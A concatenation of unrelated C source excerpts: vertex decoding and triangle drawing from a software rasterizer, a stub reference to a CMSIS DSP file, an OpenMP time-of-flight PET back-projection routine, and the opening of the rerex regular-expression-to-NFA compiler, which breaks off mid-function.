v->attribs[ATTRIB_TEX0] = vec4_set(0.0f, 0.0f, 0.0f, 1.0f);
v->attribs[ATTRIB_TEX1] = vec4_set(0.0f, 0.0f, 0.0f, 1.0f);
v->used = 0;
/* decode position */
if (vertex_format & (VF_POSITION_F2|VF_POSITION_F3|VF_POSITION_F4))
v->used |= ATTRIB_FLAG_POS;
if (vertex_format & VF_POSITION_F2) {
v->attribs[ATTRIB_POS] = decode_f2(ptr);
ptr += 2 * sizeof(float);
} else if (vertex_format & VF_POSITION_F3) {
v->attribs[ATTRIB_POS] = decode_f3(ptr);
ptr += 3 * sizeof(float);
} else if (vertex_format & VF_POSITION_F4) {
v->attribs[ATTRIB_POS] = decode_f4(ptr);
ptr += 4 * sizeof(float);
}
/* decode surface normal */
if (vertex_format & VF_NORMAL_F3) {
v->used |= ATTRIB_FLAG_NORMAL;
v->attribs[ATTRIB_NORMAL] = decode_f3(ptr);
ptr += 3 * sizeof(float);
}
/* decode color */
if (vertex_format & (VF_COLOR_F3|VF_COLOR_F4|VF_COLOR_UB3|VF_COLOR_UB4))
v->used |= ATTRIB_FLAG_COLOR;
if (vertex_format & VF_COLOR_F3) {
v->attribs[ATTRIB_COLOR] = decode_f3(ptr);
ptr += 3 * sizeof(float);
} else if (vertex_format & VF_COLOR_F4) {
v->attribs[ATTRIB_COLOR] = decode_f4(ptr);
ptr += 4 * sizeof(float);
} else if (vertex_format & VF_COLOR_UB3) {
v->attribs[ATTRIB_COLOR] = vec4_set(((float)ptr[0])/255.0f,
((float)ptr[1])/255.0f,
((float)ptr[2])/255.0f,
1.0f);
ptr += 3;
} else if (vertex_format & VF_COLOR_UB4) {
v->attribs[ATTRIB_COLOR] = vec4_set(((float)ptr[0])/255.0f,
((float)ptr[1])/255.0f,
((float)ptr[2])/255.0f,
((float)ptr[3])/255.0f);
ptr += 4;
}
/* decode texture coordinates */
if (vertex_format & VF_TEX0) {
v->used |= ATTRIB_FLAG_TEX0;
v->attribs[ATTRIB_TEX0] = decode_f2(ptr);
ptr += 2*sizeof(float);
}
return ptr;
}
static void draw_triangle(context *ctx, rs_vertex *v0, rs_vertex *v1,
rs_vertex *v2)
{
ctx->shader->vertex(ctx->shader, ctx, v0);
ctx->shader->vertex(ctx->shader, ctx, v1);
ctx->shader->vertex(ctx->shader, ctx, v2);
rasterizer_process_triangle(ctx, v0, v1, v2);
}
static void invalidate_tl_cache(context *ctx)
{
int i;
for (i = 0; i < MAX_INDEX_CACHE; ++i)
ctx->post_tl_cache[i].index = -1;
}
static void get_cached_index(context *ctx, rs_vertex *v,
unsigned int vsize, unsigned int i)
{
int idx, slot = i % MAX_INDEX_CACHE;
idx = ctx->post_tl_cache[slot].index;
if (idx > 0 && (unsigned int)idx == i) {
*v = ctx->post_tl_cache[slot].vtx;
} else {
read_vertex(v,
((unsigned char *)ctx->vertexbuffer) + vsize * i,
ctx->vertex_format);
ctx->shader->vertex(ctx->shader, ctx, v);
ctx->post_tl_cache[slot].vtx = *v;
ctx->post_tl_cache[slot].index = i;
}
}
static void draw_triangle_indexed(context *ctx, unsigned int vsize,
unsigned int i0, unsigned int i1,
unsigned int i2)
{
rs_vertex v0, v1, v2;
get_cached_index(ctx, &v0, vsize, i0);
get_cached_index(ctx, &v1, vsize, i1);
get_cached_index(ctx, &v2, vsize, i2);
rasterizer_process_triangle(ctx, &v0, &v1, &v2);
}
void ia_draw_triangles(context *ctx, unsigned int vertexcount)
{
void *ptr = ctx->vertexbuffer;
rs_vertex v0, v1, v2;
unsigned int i;
if (ctx->immediate.active)
return;
vertexcount -= vertexcount % 3;
for (i = 0; i < vertexcount; i += 3) {
ptr = read_vertex(&v0, ptr, ctx->vertex_format);
ptr = read_vertex(&v1, ptr, ctx->vertex_format);
ptr = read_vertex(&v2, ptr, ctx->vertex_format);
draw_triangle(ctx, &v0, &v1, &v2);
}
}
void ia_draw_triangles_indexed(context *ctx, unsigned int vertexcount,
unsigned int indexcount)
{
unsigned int i0, i1, i2, i = 0, vsize = 0;
if (ctx->immediate.active)
return;
/* determine vertex size in bytes */
if (ctx->vertex_format & VF_POSITION_F2) {
vsize += 2 * sizeof(float);
} else if (ctx->vertex_format & VF_POSITION_F3) {
vsize += 3 * sizeof(float);
} else if (ctx->vertex_format & VF_POSITION_F4) {
vsize += 4 * sizeof(float);
}
if (ctx->vertex_format & VF_NORMAL_F3)
vsize += 3 * sizeof(float);
if (ctx->vertex_format & VF_COLOR_F3) {
vsize += 3 * sizeof(float);
} else if (ctx->vertex_format & VF_COLOR_F4) {
vsize += 4 * sizeof(float);
} else if (ctx->vertex_format & VF_COLOR_UB3) {
vsize += 3;
} else if (ctx->vertex_format & VF_COLOR_UB4) {
vsize += 4;
}
if (ctx->vertex_format & VF_TEX0)
vsize += 2 * sizeof(float);
/* for each triangle */
invalidate_tl_cache(ctx);
indexcount -= indexcount % 3;
while (i < indexcount) {
i0 = ctx->indexbuffer[i++];
i1 = ctx->indexbuffer[i++];
i2 = ctx->indexbuffer[i++];
if (i0 < vertexcount && i1 < vertexcount && i2 < vertexcount)
draw_triangle_indexed(ctx, vsize, i0, i1, i2);
}
}
void ia_begin(context *ctx)
{
ctx->immediate.next.used = 0;
ctx->immediate.current = 0;
ctx->immediate.active = 1;
}
void ia_vertex(context *ctx, float x, float y, float z, float w)
{
if (!ctx->immediate.active)
return;
ctx->immediate.next.attribs[ATTRIB_POS] = vec4_set(x, y, z, w);
ctx->immediate.next.used |= ATTRIB_FLAG_POS;
ctx->immediate.vertex[ctx->immediate.current++] = ctx->immediate.next;
if (ctx->immediate.current < 3)
return;
ctx->immediate.current = 0;
draw_triangle(ctx, ctx->immediate.vertex, ctx->immediate.vertex + 1,
ctx->immediate.vertex + 2);
}
void ia_color(context *ctx, float r, float g, float b, float a)
{
ctx->immediate.next.attribs[ATTRIB_COLOR] = vec4_set(r, g, b, a);
ctx->immediate.next.used |= ATTRIB_FLAG_COLOR;
}
void ia_normal(context *ctx, float x, float y, float z)
{
ctx->immediate.next.attribs[ATTRIB_NORMAL] = vec4_set(x, y, z, 0.0f);
ctx->immediate.next.used |= ATTRIB_FLAG_NORMAL;
}
void ia_texcoord(context *ctx, int layer, float s, float t)
{
ctx->immediate.next.attribs[ATTRIB_TEX0 + layer] =
vec4_set(s, t, 0.0f, 1.0f);
ctx->immediate.next.used |= (ATTRIB_FLAG_TEX0 << layer);
}
void ia_end(context *ctx)
{
ctx->immediate.next.used = 0;
ctx->immediate.current = 0;
ctx->immediate.active = 0;
}
|
46145.c | Stub content:
Drivers/CMSIS/DSP_Lib/Source/BasicMathFunctions/arm_offset_f32.c
|
845383.c | /**
* @file joseph3d_back_tof_sino_2.c
*/
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<math.h>
#include<omp.h>
#include "tof_utils.h"
#include "ray_cube_intersection.h"
void joseph3d_back_tof_sino_2(const float *xstart,
const float *xend,
float *img,
const float *img_origin,
const float *voxsize,
const float *p,
long long nlors,
const int *img_dim,
float tofbin_width,
const float *sigma_tof,
const float *tofcenter_offset,
float n_sigmas,
short n_tofbins)
{
long long i;
int n0 = img_dim[0];
int n1 = img_dim[1];
int n2 = img_dim[2];
float voxsize0 = voxsize[0];
float voxsize1 = voxsize[1];
float voxsize2 = voxsize[2];
float img_origin0 = img_origin[0];
float img_origin1 = img_origin[1];
float img_origin2 = img_origin[2];
int n_half = n_tofbins/2;
# pragma omp parallel for schedule(static)
for(i = 0; i < nlors; i++)
{
float d0, d1, d2, d0_sq, d1_sq, d2_sq;
float cs0, cs1, cs2, cf;
float lsq, cos0_sq, cos1_sq, cos2_sq;
unsigned short direction;
int i0, i1, i2;
int i0_floor, i1_floor, i2_floor;
int i0_ceil, i1_ceil, i2_ceil;
float x_pr0, x_pr1, x_pr2;
float tmp_0, tmp_1, tmp_2;
float u0, u1, u2, d_norm;
float x_m0, x_m1, x_m2;
float x_v0, x_v1, x_v2;
int it, it1, it2;
float dtof, tw;
float sig_tof = sigma_tof[i];
float tc_offset = tofcenter_offset[i];
float xstart0 = xstart[i*3 + 0];
float xstart1 = xstart[i*3 + 1];
float xstart2 = xstart[i*3 + 2];
float xend0 = xend[i*3 + 0];
float xend1 = xend[i*3 + 1];
float xend2 = xend[i*3 + 2];
unsigned char intersec;
float t1, t2;
float istart_f, iend_f, tmp;
int istart, iend;
float istart_tof_f, iend_tof_f;
int istart_tof, iend_tof;
// test whether the ray between the two detectors is most parallel
// with the 0, 1, or 2 axis
d0 = xend0 - xstart0;
d1 = xend1 - xstart1;
d2 = xend2 - xstart2;
//-----------
//--- test whether ray and cube intersect
intersec = ray_cube_intersection(xstart0, xstart1, xstart2,
img_origin0 - 1*voxsize0, img_origin1 - 1*voxsize1, img_origin2 - 1*voxsize2,
img_origin0 + n0*voxsize0, img_origin1 + n1*voxsize1, img_origin2 + n2*voxsize2,
d0, d1, d2, &t1, &t2);
if (intersec == 1)
{
d0_sq = d0*d0;
d1_sq = d1*d1;
d2_sq = d2*d2;
lsq = d0_sq + d1_sq + d2_sq;
cos0_sq = d0_sq / lsq;
cos1_sq = d1_sq / lsq;
cos2_sq = d2_sq / lsq;
cs0 = sqrtf(cos0_sq);
cs1 = sqrtf(cos1_sq);
cs2 = sqrtf(cos2_sq);
direction = 0;
if ((cos1_sq >= cos0_sq) && (cos1_sq >= cos2_sq))
{
direction = 1;
}
if ((cos2_sq >= cos0_sq) && (cos2_sq >= cos1_sq))
{
direction = 2;
}
//---------------------------------------------------------
//--- calculate TOF related quantities
// unit vector (u0,u1,u2) that points from xstart to end
d_norm = sqrtf(lsq);
u0 = d0 / d_norm;
u1 = d1 / d_norm;
u2 = d2 / d_norm;
// calculate mid point of LOR
x_m0 = 0.5f*(xstart0 + xend0);
x_m1 = 0.5f*(xstart1 + xend1);
x_m2 = 0.5f*(xstart2 + xend2);
//---------------------------------------------------------
if(direction == 0)
{
// case where ray is most parallel to the 0 axis
// we step through the volume along the 0 direction
// factor for correctiong voxel size and |cos(theta)|
cf = voxsize0/cs0;
//--- check where ray enters / leaves cube
istart_f = (xstart0 + t1*d0 - img_origin0) / voxsize0;
iend_f = (xstart0 + t2*d0 - img_origin0) / voxsize0;
if (istart_f > iend_f){
tmp = iend_f;
iend_f = istart_f;
istart_f = tmp;
}
istart = (int)floor(istart_f);
iend = (int)ceil(iend_f);
if (istart < 0){istart = 0;}
if (iend >= n0){iend = n0;}
// check in which "plane" the start and end points are
// we have to do this to avoid that we include voxels
// that are "outside" the line segment bewteen xstart and xend
// !! for these calculations we overwrite the istart_f and iend_f variables !!
istart_f = (xstart0 - img_origin0) / voxsize0;
iend_f = (xend0 - img_origin0) / voxsize0;
if (istart_f > iend_f){
tmp = iend_f;
iend_f = istart_f;
istart_f = tmp;
}
if (istart < (int)floor(istart_f)){istart = (int)floor(istart_f);}
if (iend >= (int)ceil(iend_f)){iend = (int)ceil(iend_f);}
//---
for(i0 = istart; i0 < iend; i0++)
{
// get the indices where the ray intersects the image plane
x_pr1 = xstart1 + (img_origin0 + i0*voxsize0 - xstart0)*d1 / d0;
x_pr2 = xstart2 + (img_origin0 + i0*voxsize0 - xstart0)*d2 / d0;
i1_floor = (int)floor((x_pr1 - img_origin1)/voxsize1);
i1_ceil = i1_floor + 1;
i2_floor = (int)floor((x_pr2 - img_origin2)/voxsize2);
i2_ceil = i2_floor + 1;
// calculate the distances to the floor normalized to [0,1]
// for the bilinear interpolation
tmp_1 = (x_pr1 - (i1_floor*voxsize1 + img_origin1)) / voxsize1;
tmp_2 = (x_pr2 - (i2_floor*voxsize2 + img_origin2)) / voxsize2;
//--------- TOF related quantities
// calculate the voxel center needed for TOF weights
x_v0 = img_origin0 + i0*voxsize0;
x_v1 = x_pr1;
x_v2 = x_pr2;
it1 = -n_half;
it2 = n_half;
// get the relevant tof bins (the TOF bins where the TOF weight is not close to 0)
relevant_tof_bins(x_m0, x_m1, x_m2, x_v0, x_v1, x_v2, u0, u1, u2,
tofbin_width, tc_offset, sig_tof, n_sigmas, n_half,
&it1, &it2);
for(it = it1; it <= it2; it++){
//--- add extra check to be compatible with behavior of LM projector
istart_tof_f = (x_m0 + (it*tofbin_width - n_sigmas*sig_tof)*u0 - img_origin0) / voxsize0;
iend_tof_f = (x_m0 + (it*tofbin_width + n_sigmas*sig_tof)*u0 - img_origin0) / voxsize0;
if (istart_tof_f > iend_tof_f){
tmp = iend_tof_f;
iend_tof_f = istart_tof_f;
istart_tof_f = tmp;
}
istart_tof = (int)floor(istart_tof_f);
iend_tof = (int)ceil(iend_tof_f);
//---
if ((i0 >= istart_tof) && (i0 < iend_tof)){
if(p[i*n_tofbins + it + n_half] != 0){
// calculate distance of voxel to tof bin center
dtof = sqrtf(powf((x_m0 + (it*tofbin_width + tc_offset)*u0 - x_v0), 2) +
powf((x_m1 + (it*tofbin_width + tc_offset)*u1 - x_v1), 2) +
powf((x_m2 + (it*tofbin_width + tc_offset)*u2 - x_v2), 2));
//calculate the TOF weight
tw = 0.5f*(erff_as((dtof + 0.5f*tofbin_width)/(sqrtf(2)*sig_tof)) -
erff_as((dtof - 0.5f*tofbin_width)/(sqrtf(2)*sig_tof)));
if ((i1_floor >= 0) && (i1_floor < n1) && (i2_floor >= 0) && (i2_floor < n2))
{
#pragma omp atomic
img[n1*n2*i0 + n2*i1_floor + i2_floor] +=
(tw * p[i*n_tofbins + it + n_half] * (1 - tmp_1) * (1 - tmp_2) * cf);
}
if ((i1_ceil >= 0) && (i1_ceil < n1) && (i2_floor >= 0) && (i2_floor < n2))
{
#pragma omp atomic
img[n1*n2*i0 + n2*i1_ceil + i2_floor] +=
(tw * p[i*n_tofbins + it + n_half] * tmp_1 * (1 - tmp_2) * cf);
}
if ((i1_floor >= 0) && (i1_floor < n1) && (i2_ceil >= 0) && (i2_ceil < n2))
{
#pragma omp atomic
img[n1*n2*i0 + n2*i1_floor + i2_ceil] +=
(tw * p[i*n_tofbins + it + n_half] * (1 - tmp_1) * tmp_2*cf);
}
if ((i1_ceil >= 0) && (i1_ceil < n1) && (i2_ceil >= 0) && (i2_ceil < n2))
{
#pragma omp atomic
img[n1*n2*i0 + n2*i1_ceil + i2_ceil] +=
(tw * p[i*n_tofbins + it + n_half] * tmp_1 * tmp_2 * cf);
}
}
}
}
}
}
// ---------------------------------------------------------------------------------
if(direction == 1)
{
// case where ray is most parallel to the 1 axis
// we step through the volume along the 1 direction
// factor for correctiong voxel size and |cos(theta)|
cf = voxsize1/cs1;
//--- check where ray enters / leaves cube
istart_f = (xstart1 + t1*d1 - img_origin1) / voxsize1;
iend_f = (xstart1 + t2*d1 - img_origin1) / voxsize1;
if (istart_f > iend_f){
tmp = iend_f;
iend_f = istart_f;
istart_f = tmp;
}
istart = (int)floor(istart_f);
iend = (int)ceil(iend_f);
if (istart < 0){istart = 0;}
if (iend >= n1){iend = n1;}
// check in which "plane" the start and end points are
// we have to do this to avoid that we include voxels
// that are "outside" the line segment bewteen xstart and xend
// !! for these calculations we overwrite the istart_f and iend_f variables !!
istart_f = (xstart1 - img_origin1) / voxsize1;
iend_f = (xend1 - img_origin1) / voxsize1;
if (istart_f > iend_f){
tmp = iend_f;
iend_f = istart_f;
istart_f = tmp;
}
if (istart < (int)floor(istart_f)){istart = (int)floor(istart_f);}
if (iend >= (int)ceil(iend_f)){iend = (int)ceil(iend_f);}
//---
for(i1 = istart; i1 < iend; i1++)
{
// get the indices where the ray intersects the image plane
x_pr0 = xstart0 + (img_origin1 + i1*voxsize1 - xstart1)*d0 / d1;
x_pr2 = xstart2 + (img_origin1 + i1*voxsize1 - xstart1)*d2 / d1;
i0_floor = (int)floor((x_pr0 - img_origin0)/voxsize0);
i0_ceil = i0_floor + 1;
i2_floor = (int)floor((x_pr2 - img_origin2)/voxsize2);
i2_ceil = i2_floor + 1;
// calculate the distances to the floor normalized to [0,1]
// for the bilinear interpolation
tmp_0 = (x_pr0 - (i0_floor*voxsize0 + img_origin0)) / voxsize0;
tmp_2 = (x_pr2 - (i2_floor*voxsize2 + img_origin2)) / voxsize2;
//--------- TOF related quantities
// calculate the voxel center needed for TOF weights
x_v0 = x_pr0;
x_v1 = img_origin1 + i1*voxsize1;
x_v2 = x_pr2;
it1 = -n_half;
it2 = n_half;
// get the relevant tof bins (the TOF bins where the TOF weight is not close to 0)
relevant_tof_bins(x_m0, x_m1, x_m2, x_v0, x_v1, x_v2, u0, u1, u2,
tofbin_width, tc_offset, sig_tof, n_sigmas, n_half,
&it1, &it2);
for(it = it1; it <= it2; it++){
//--- add extra check to be compatible with behavior of LM projector
istart_tof_f = (x_m1 + (it*tofbin_width - n_sigmas*sig_tof)*u1 - img_origin1) / voxsize1;
iend_tof_f = (x_m1 + (it*tofbin_width + n_sigmas*sig_tof)*u1 - img_origin1) / voxsize1;
if (istart_tof_f > iend_tof_f){
tmp = iend_tof_f;
iend_tof_f = istart_tof_f;
istart_tof_f = tmp;
}
istart_tof = (int)floor(istart_tof_f);
iend_tof = (int)ceil(iend_tof_f);
//---
if ((i1 >= istart_tof) && (i1 < iend_tof)){
if(p[i*n_tofbins + it + n_half] != 0){
// calculate distance of voxel to tof bin center
dtof = sqrtf(powf((x_m0 + (it*tofbin_width + tc_offset)*u0 - x_v0), 2) +
powf((x_m1 + (it*tofbin_width + tc_offset)*u1 - x_v1), 2) +
powf((x_m2 + (it*tofbin_width + tc_offset)*u2 - x_v2), 2));
//calculate the TOF weight
tw = 0.5f*(erff_as((dtof + 0.5f*tofbin_width)/(sqrtf(2)*sig_tof)) -
erff_as((dtof - 0.5f*tofbin_width)/(sqrtf(2)*sig_tof)));
if ((i0_floor >= 0) && (i0_floor < n0) && (i2_floor >= 0) && (i2_floor < n2))
{
#pragma omp atomic
img[n1*n2*i0_floor + n2*i1 + i2_floor] +=
(tw * p[i*n_tofbins + it + n_half] * (1 - tmp_0) * (1 - tmp_2) * cf);
}
if ((i0_ceil >= 0) && (i0_ceil < n0) && (i2_floor >= 0) && (i2_floor < n2))
{
#pragma omp atomic
img[n1*n2*i0_ceil + n2*i1 + i2_floor] +=
(tw * p[i*n_tofbins + it + n_half] * tmp_0 * (1 - tmp_2) * cf);
}
if ((i0_floor >= 0) && (i0_floor < n0) && (i2_ceil >= 0) && (i2_ceil < n2))
{
#pragma omp atomic
img[n1*n2*i0_floor + n2*i1 + i2_ceil] +=
(tw * p[i*n_tofbins + it + n_half] * (1 - tmp_0) * tmp_2 * cf);
}
if((i0_ceil >= 0) && (i0_ceil < n0) && (i2_ceil >= 0) && (i2_ceil < n2))
{
#pragma omp atomic
img[n1*n2*i0_ceil + n2*i1 + i2_ceil] +=
(tw * p[i*n_tofbins + it + n_half] * tmp_0 * tmp_2 * cf);
}
}
}
}
}
}
//---------------------------------------------------------------------------------
if (direction == 2)
{
// case where ray is most parallel to the 2 axis
// we step through the volume along the 2 direction
// factor for correctiong voxel size and |cos(theta)|
cf = voxsize2/cs2;
//--- check where ray enters / leaves cube
istart_f = (xstart2 + t1*d2 - img_origin2) / voxsize2;
iend_f = (xstart2 + t2*d2 - img_origin2) / voxsize2;
if (istart_f > iend_f){
tmp = iend_f;
iend_f = istart_f;
istart_f = tmp;
}
istart = (int)floor(istart_f);
iend = (int)ceil(iend_f);
if (istart < 0){istart = 0;}
if (iend >= n2){iend = n2;}
// check in which "plane" the start and end points are
// we have to do this to avoid that we include voxels
// that are "outside" the line segment bewteen xstart and xend
// !! for these calculations we overwrite the istart_f and iend_f variables !!
istart_f = (xstart2 - img_origin2) / voxsize2;
iend_f = (xend2 - img_origin2) / voxsize2;
if (istart_f > iend_f){
tmp = iend_f;
iend_f = istart_f;
istart_f = tmp;
}
if (istart < (int)floor(istart_f)){istart = (int)floor(istart_f);}
if (iend >= (int)ceil(iend_f)){iend = (int)ceil(iend_f);}
//---
for(i2 = istart; i2 < iend; i2++)
{
// get the indices where the ray intersects the image plane
x_pr0 = xstart0 + (img_origin2 + i2*voxsize2 - xstart2)*d0 / d2;
x_pr1 = xstart1 + (img_origin2 + i2*voxsize2 - xstart2)*d1 / d2;
i0_floor = (int)floor((x_pr0 - img_origin0)/voxsize0);
i0_ceil = i0_floor + 1;
i1_floor = (int)floor((x_pr1 - img_origin1)/voxsize1);
i1_ceil = i1_floor + 1;
// calculate the distances to the floor normalized to [0,1]
// for the bilinear interpolation
tmp_0 = (x_pr0 - (i0_floor*voxsize0 + img_origin0)) / voxsize0;
tmp_1 = (x_pr1 - (i1_floor*voxsize1 + img_origin1)) / voxsize1;
//--------- TOF related quantities
// calculate the voxel center needed for TOF weights
x_v0 = x_pr0;
x_v1 = x_pr1;
x_v2 = img_origin2 + i2*voxsize2;
it1 = -n_half;
it2 = n_half;
// get the relevant tof bins (the TOF bins where the TOF weight is not close to 0)
relevant_tof_bins(x_m0, x_m1, x_m2, x_v0, x_v1, x_v2, u0, u1, u2,
tofbin_width, tc_offset, sig_tof, n_sigmas, n_half,
&it1, &it2);
for(it = it1; it <= it2; it++){
//--- add extra check to be compatible with behavior of LM projector
istart_tof_f = (x_m2 + (it*tofbin_width - n_sigmas*sig_tof)*u2 - img_origin2) / voxsize2;
iend_tof_f = (x_m2 + (it*tofbin_width + n_sigmas*sig_tof)*u2 - img_origin2) / voxsize2;
if (istart_tof_f > iend_tof_f){
tmp = iend_tof_f;
iend_tof_f = istart_tof_f;
istart_tof_f = tmp;
}
istart_tof = (int)floor(istart_tof_f);
iend_tof = (int)ceil(iend_tof_f);
//---
if ((i2 >= istart_tof) && (i2 < iend_tof)){
if(p[i*n_tofbins + it + n_half] != 0){
// calculate distance of voxel to tof bin center
dtof = sqrtf(powf((x_m0 + (it*tofbin_width + tc_offset)*u0 - x_v0), 2) +
powf((x_m1 + (it*tofbin_width + tc_offset)*u1 - x_v1), 2) +
powf((x_m2 + (it*tofbin_width + tc_offset)*u2 - x_v2), 2));
//calculate the TOF weight
tw = 0.5f*(erff_as((dtof + 0.5f*tofbin_width)/(sqrtf(2)*sig_tof)) -
erff_as((dtof - 0.5f*tofbin_width)/(sqrtf(2)*sig_tof)));
if ((i0_floor >= 0) && (i0_floor < n0) && (i1_floor >= 0) && (i1_floor < n1))
{
#pragma omp atomic
img[n1*n2*i0_floor + n2*i1_floor + i2] +=
(tw * p[i*n_tofbins + it + n_half] * (1 - tmp_0) * (1 - tmp_1) * cf);
}
if ((i0_ceil >= 0) && (i0_ceil < n0) && (i1_floor >= 0) && (i1_floor < n1))
{
#pragma omp atomic
img[n1*n2*i0_ceil + n2*i1_floor + i2] +=
(tw * p[i*n_tofbins + it + n_half] * tmp_0 * (1 - tmp_1) * cf);
}
if ((i0_floor >= 0) && (i0_floor < n0) && (i1_ceil >= 0) && (i1_ceil < n1))
{
#pragma omp atomic
img[n1*n2*i0_floor + n2*i1_ceil + i2] +=
(tw * p[i*n_tofbins + it + n_half] * (1 - tmp_0) * tmp_1 * cf);
}
if ((i0_ceil >= 0) && (i0_ceil < n0) && (i1_ceil >= 0) && (i1_ceil < n1))
{
#pragma omp atomic
img[n1*n2*i0_ceil + n2*i1_ceil + i2] +=
(tw * p[i*n_tofbins + it + n_half] * tmp_0 * tmp_1 * cf);
}
}
}
}
}
}
}
}
}
|
771367.c | // Copyright 2020-2021 David Robillard <[email protected]>
// SPDX-License-Identifier: ISC
#include "rerex/rerex.h"
#include <assert.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
static const char cmin = 0x20; // Inclusive minimum normal character
static const char cmax = 0x7E; // Inclusive maximum normal character
const char*
rerex_strerror(const RerexStatus status)
{
switch (status) {
case REREX_SUCCESS:
return "Success";
case REREX_EXPECTED_CHAR:
return "Expected a regular character";
case REREX_EXPECTED_ELEMENT:
return "Expected a character in a set";
case REREX_EXPECTED_RBRACKET:
return "Expected ']'";
case REREX_EXPECTED_RPAREN:
return "Expected ')'";
case REREX_EXPECTED_SPECIAL:
return "Expected a special character (one of \"()*+-?[]^|\")";
case REREX_UNEXPECTED_SPECIAL:
return "Unexpected special character";
case REREX_UNEXPECTED_END:
return "Unexpected end of input";
case REREX_UNORDERED_RANGE:
return "Range is out of order";
}
return "Unknown error";
}
/* State */
#define NO_STATE 0
// The ID for a state, which is an index into the state array
typedef size_t StateIndex;
// A code point (currently only 8-bit ASCII but we use the space anyway)
typedef int Codepoint;
// Special type for states with only epsilon out arcs
typedef enum {
REREX_MATCH = 0xE000, ///< Matching state, no out arcs
REREX_SPLIT = 0xE001, ///< Splitting state, one or two out arcs
} StateType;
/* A state in an NFA.
A state in Thompson's NFA can have either a single character-labeled
transition to another state, or up to two unlabeled epsilon transitions to
other states. There is both a minimum and maximum label for supporting
character ranges. So, either `min` and `max` are ASCII characters that are
the label of an arc to next1 (and next2 is null), or `min` is a special
StateType and next1 and/or next2 may be set to successor states.
*/
typedef struct {
StateIndex next1; ///< Head of first out arc (or NULL)
StateIndex next2; ///< Head of second out arc (or NULL)
Codepoint min; ///< Special type, or inclusive min label for next1
Codepoint max; ///< Inclusive max label for next2
} State;
// Create a match (end) state with no successors
static State
match_state(void)
{
const State s = {NO_STATE, NO_STATE, REREX_MATCH, 0};
return s;
}
// Create a split state with at most two successors
static State
split_state(const StateIndex next1, const StateIndex next2)
{
const State s = {next1, next2, REREX_SPLIT, 0};
return s;
}
// Create a labeled state with one successor reached by a character arc
static State
range_state(const char min, const char max, const StateIndex next)
{
const State s = {next, NO_STATE, min, max};
return s;
}
/* Array of states.
States are stored in a flat array to reduce memory fragmentation, and for
easy memory management since the automata graph may be cyclic. This simple
implementation calls realloc() for every state, which isn't terribly
efficient, but works well enough. Note that state addresses therefore change
during compilation, so states are generally referred to by their index, and
not by pointer. Conveniently, using indices is also useful during matching
for storing auxiliary information about states.
*/
typedef struct {
State* states;
size_t n_states;
} StateArray;
// Append a new state to the end of the state array
static StateIndex
add_state(StateArray* const array, const State state)
{
const size_t new_n_states = array->n_states + 1;
const size_t new_size = new_n_states * sizeof(State);
array->states = (State*)realloc(array->states, new_size);
array->states[array->n_states] = state;
return array->n_states++;
}
/* Automata.
This is a lightweight description of an NFA fragment. The states are stored
elsewhere, this is just used to provide a facade to conceptually work with
automata for high-level operations.
*/
typedef struct {
StateIndex start;
StateIndex end;
} Automata;
// Simple utility function for making an automata in an expression
static Automata
make_automata(const StateIndex start, const StateIndex end)
{
Automata result = {start, end};
return result;
}
// Return whether `nfa` has only two simple states (used for optimizations)
static inline bool
is_trivial(const StateArray* const states, const Automata nfa)
{
return (states->states[nfa.start].min < REREX_MATCH &&
states->states[nfa.start].next1 == nfa.end);
}
// Kleene's Star of an NFA
static Automata
star(StateArray* const states, const Automata nfa)
{
const StateIndex end = add_state(states, match_state());
const StateIndex start = add_state(states, split_state(nfa.start, end));
states->states[nfa.end] = split_state(nfa.start, end);
return make_automata(start, end);
}
// Zero-or-one of an NFA
static Automata
question(StateArray* const states, const Automata nfa)
{
const StateIndex start = add_state(states, split_state(nfa.start, nfa.end));
return make_automata(start, nfa.end);
}
// One-or-more of an NFA
static Automata
plus(StateArray* const states, const Automata nfa)
{
const StateIndex end = add_state(states, match_state());
states->states[nfa.end] = split_state(nfa.start, end);
return make_automata(nfa.start, end);
}
// Concatenation of two NFAs
static Automata
concatenate(StateArray* const states, const Automata a, const Automata b)
{
if (is_trivial(states, a)) {
// Optimization: link a's start directly to b's start (drop a's end)
states->states[a.start].next1 = b.start;
} else {
states->states[a.end] = split_state(b.start, NO_STATE);
}
return make_automata(a.start, b.end);
}
// Alternation (OR) of two NFAs
static Automata
alternate(StateArray* const states, const Automata a, const Automata b)
{
const StateIndex split = add_state(states, split_state(a.start, b.start));
if (is_trivial(states, a)) {
// Optimization: link a's start directly to b's end (drop a's end)
states->states[a.start].next1 = b.end;
return make_automata(split, b.end);
}
if (is_trivial(states, b)) {
// Optimization: link b's start directly to a's end (drop b's end)
states->states[b.start].next1 = a.end;
return make_automata(split, a.end);
}
const StateIndex end = add_state(states, match_state());
states->states[a.end] = split_state(end, NO_STATE);
states->states[b.end] = split_state(end, NO_STATE);
return make_automata(split, end);
}
/* Parser input.
The parser reads from a string one character at a time, though it would be
simple to change this to read from any stream. All reading is done by three
operations: peek, peekahead, and eat.
*/
typedef struct {
const char* const str;
size_t offset;
} Input;
// Return the next character in the input without consuming it
static inline char
peek(Input* const input)
{
return input->str[input->offset];
}
// Return the next-next character in the input without consuming any
static inline char
peekahead(Input* const input)
{
// Unfortunately we need 2-char lookahead for the ambiguity of '-' in sets
return input->str[input->offset + 1];
}
// Consume and return the next character in the input
static inline char
eat(Input* const input)
{
return input->str[input->offset++];
}
// Forward declaration for read_expr because it is called recursively
static RerexStatus
read_expr(Input* input, StateArray* states, Automata* out);
// DOT ::= '.'
// OPERATOR ::= '*' | '+' | '?'
// SPECIAL ::= DOT | OPERATOR | '(' | ')' | '[' | ']' | '^' | '{' | '|' | '}'
static bool
is_special(const char c)
{
switch (c) {
case '(':
case ')':
case '*':
case '+':
case '.':
case '?':
case '[':
case ']':
case '^':
case '{':
case '|':
case '}':
return true;
default:
break;
}
return false;
}
// DOT ::= '.'
static RerexStatus
read_dot(Input* const input, StateArray* const states, Automata* const out)
{
assert(peek(input) == '.');
eat(input);
const StateIndex end = add_state(states, match_state());
const StateIndex start = add_state(states, range_state(cmin, cmax, end));
*out = make_automata(start, end);
return REREX_SUCCESS;
}
// ESCAPE ::= '\' SPECIAL
static RerexStatus
read_escape(Input* const input, char* const out)
{
assert(peek(input) == '\\');
eat(input);
const char c = peek(input);
if (is_special(c) || c == '-') {
*out = eat(input);
return REREX_SUCCESS;
}
return REREX_EXPECTED_SPECIAL;
}
// CHAR ::= ESCAPE | [#x20-#x7E] - SPECIAL
static RerexStatus
read_char(Input* const input, char* const out)
{
const char c = peek(input);
